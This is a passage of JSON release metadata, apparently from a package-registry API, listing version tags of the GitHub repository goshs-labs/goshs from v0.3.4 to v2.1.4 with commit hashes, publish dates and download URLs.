sha":"d4e775d5a84d662d426bc19a95d9b990a97d60e4","kind":"tag","published_at":"2026-07-03T07:19:58.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.4/manifests"},{"name":"v2.1.3","sha":"ead99b9b5081d473c61743cfed5e8290702317d2","kind":"tag","published_at":"2026-06-25T13:38:51.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.3/manifests"},{"name":"v2.1.2","sha":"5ec4d7735bbee27b929052c1581ef7060e61e0a8","kind":"tag","published_at":"2026-06-23T13:57:40.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.2/manifests"},{"name":"v2.1.1","sha":"7632143f65eb08401ebfb7bab76eb1a258b6d733","kind":"tag","published_at":"2026-06-17T18:39:08.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.1/manifests"},{"name":"v2.1.0","sha":"91b71d37310b81dd88a5fddc9e08a6bab5b66466","kind":"commit","published_at":"2026-05-29T10:20:25.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.0/manifests"},{"name":"v2.0.9","sha":"8fc1e917bf049a5fd6ab57da47393dfe205b5fe8","kind":"commit","published_at":"2026-05-27T13:49:51.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.9","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.9/manifests"},{"name":"v2.0.8","sha":"326ba01443506969698b9f9b11052035b3c1777f","kind":"commit","published_at":"2026-05-13T13:57:24.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.8","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.8/manifests"},{"name":"v2.0.7","sha":"e760d6826f54c26ac7113cb2fc80daecfa96718f","kind":"commit","published_at":"2026-05-12T13:06:43.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.7","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.7/manifests"},{"name":"v2.0.6","sha":"f6216dcf430c0942e5e6b108848d5c85464c2169","kind":"commit","published_at":"2026-04-29T12:51:00.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.6/manifests"},{"name":"v2.0.5","sha":"5fcb4c950033e9ef97c07a3882eef073dc708952","kind":"commit","published_at":"2026-04-27T13:48:07.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.5/manifests"},{"name":"v2.0.4","sha":"0bf431529dcee34d4f666ce31f533204a3622d48","kind":"commit","published_at":"2026-04-27T06:08:59.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.4/manifests"},{"name":"v2.0.3","sha":"88eec60a6057e5811c7946da97975af68b947350","kind":"commit","published_at":"2026-04-21T13:04:57.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.3/manifests"},{"name":"v2.0.2","sha":"343902890456e88db614a416550ae2858d8e0f8d","kind":"commit","published_at":"2026-04-21T07:52:00.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"847637dabdf1184293d701d8b42718b58cecfe0f","kind":"commit","published_at":"2026-04-14T08:43:35.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"0c316e71c6eb69d75218c4af6e9793cc07cdfaab","kind":"commit","published_at":"2026-04-14T08:24:01.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0/manifests"},{"name":"v2.0.0-beta.6","sha":"2f6b5d601d494601fa43fad9a712ee6117b7dbcd","kind":"commit","published_at":"2026-04-13T09:12:53.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.6/manifests"},{"name":"v2.0.0-beta.5","sha":"701c806595c31e4486bf856a3dded87fd3f3a17c","kind":"commit","published_at":"2026-04-10T13:07:32.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.5/manifests"},{"name":"v2.0.0-beta.4","sha":"10f291dea17fb795f0008ed64c3ad7ab8c0470de","kind":"commit","published_at":"2026-04-09T18:18:46.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.4/manifests"},{"name":"v2.0.0-beta.3","sha":"237f3af891a90df9b903b85f1cd3438040ca261a","kind":"tag","published_at":"2026-04-01T17:25:48.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.3/manifests"},{"name":"v2.0.0-beta.2","sha":"69d1ae7a3187f098b7ad80723b89270104afff06","kind":"commit","published_at":"2026-03-30T09:25:52.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.2/manifests"},{"name":"v2.0.0-beta.1","sha":"54b724823aaeb1af8f514a38d875618b0b449d56","kind":"commit","published_at":"2026-03-25T14:27:17.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.0.0-beta.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.0.0-beta.1/manifests"},{"name":"v1.1.4","sha":"5b5228ff042f284bc432e706699cf7252caf96fa","kind":"commit","published_at":"2026-03-13T14:11:55.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.1.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.4/manifests"},{"name":"1.1.3","sha":"62f294072f1c8baaf04f92a1fde6d9c10b56b3c4","kind":"commit","published_at":"2025-12-16T09:29:53.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/1.1.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/1.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@1.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/1.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/1.1.3/manifests"},{"name":"v1.1.2","sha":"0b78da54caa3a5b1c6cd41b951ff56dbfd9c207e","kind":"commit","published_at":"2025-11-12T10:04:08.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.1.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"b1caf949196b9ebcc5b078502bcecfe20544597d","kind":"commit","published_at":"2025-09-22T07:54:08.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.1.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"1ae129a5ae4fc0e05875da251e5ba9cf1c7a6db3","kind":"commit","published_at":"2025-06-03T08:16:04.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.1.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.1.0/manifests"},{"name":"v1.0.9","sha":"b30f8da5520f6ef587ef0665a37717c6217c2c0c","kind":"commit","published_at":"2025-05-28T08:20:50.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.9","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.9/manifests"},{"name":"v1.0.8","sha":"b8b3529a3b27a069c98a64b7fc715fb7e09d8a7d","kind":"commit","published_at":"2025-05-20T10:40:35.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.8","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.8/manifests"},{"name":"v1.0.7","sha":"a24cf77e24a797737603e0f76d502317ff6b3e06","kind":"tag","published_at":"2025-05-19T14:01:35.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.7","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.7/manifests"},{"name":"v1.0.6","sha":"1f29165afbc926d738221dd8ed680e20b3acc295","kind":"tag","published_at":"2025-05-12T09:29:49.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.6/manifests"},{"name":"v1.0.5","sha":"1eb190b81f7a7d8bbb94387c3d192a0dfa420e87","kind":"tag","published_at":"2025-05-06T10:07:54.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"8e85c72d5dd1470a8836131ac07119cf559d93c8","kind":"tag","published_at":"2025-05-02T14:16:38.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"367751fab6716f0f790fc2629d172f4326f3a4b2","kind":"tag","published_at":"2025-04-16T12:13:14.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"a9e2ecd557f05fb032452669586f1cfeffa4c34c","kind":"tag","published_at":"2025-03-07T07:55:53.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"af9ef83ce37e3bf422abce915e94b74e8a0b397c","kind":"tag","published_at":"2024-11-22T08:21:33.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"6a9792d56be9eb990e3358a8b7c053131fde61fa","kind":"tag","published_at":"2024-11-15T10:48:54.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v1.0.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v1.0.0/manifests"},{"name":"v0.4.2","sha":"59b5cdb0ae2559f92c3526fd57385ba25f627e99","kind":"tag","published_at":"2024-10-17T11:42:35.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.4.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"25ac43d6846d47c661e1c34d160a5134dab83da0","kind":"tag","published_at":"2024-07-11T12:33:57.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.4.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"6f1e81c9189208f1be56d0917fcb98601cd663d0","kind":"tag","published_at":"2024-07-05T17:59:22.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.4.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.4.0/manifests"},{"name":"v0.3.9","sha":"ab22259e990b5b1c977a2fbe958bec1b44e51c02","kind":"tag","published_at":"2024-06-27T12:57:00.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.9","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.9/manifests"},{"name":"v0.3.8","sha":"92dd103cb66bea7001417ee2ce9d3167a7c20101","kind":"tag","published_at":"2024-04-30T07:04:54.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.8","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.8/manifests"},{"name":"v0.3.7","sha":"99dcbb68215c3a794dadfbd59b860f12c4b4ebb5","kind":"tag","published_at":"2024-04-10T12:53:58.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.7","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"2ee6884eeb1d2252013caa155eeb58896e3cfe64","kind":"tag","published_at":"2023-09-01T09:02:40.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"7f7b0fc0cdb6dfa8f4f8c0c06b9a508f791f5be5","kind":"tag","published_at":"2023-06-21T09:13:34.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"188589596594765ad4b22d2709fc5ca848c6a56a","kind":"tag","published_at":"2023-06-01T10:53:10.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v0.3.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v0.3.4","manifests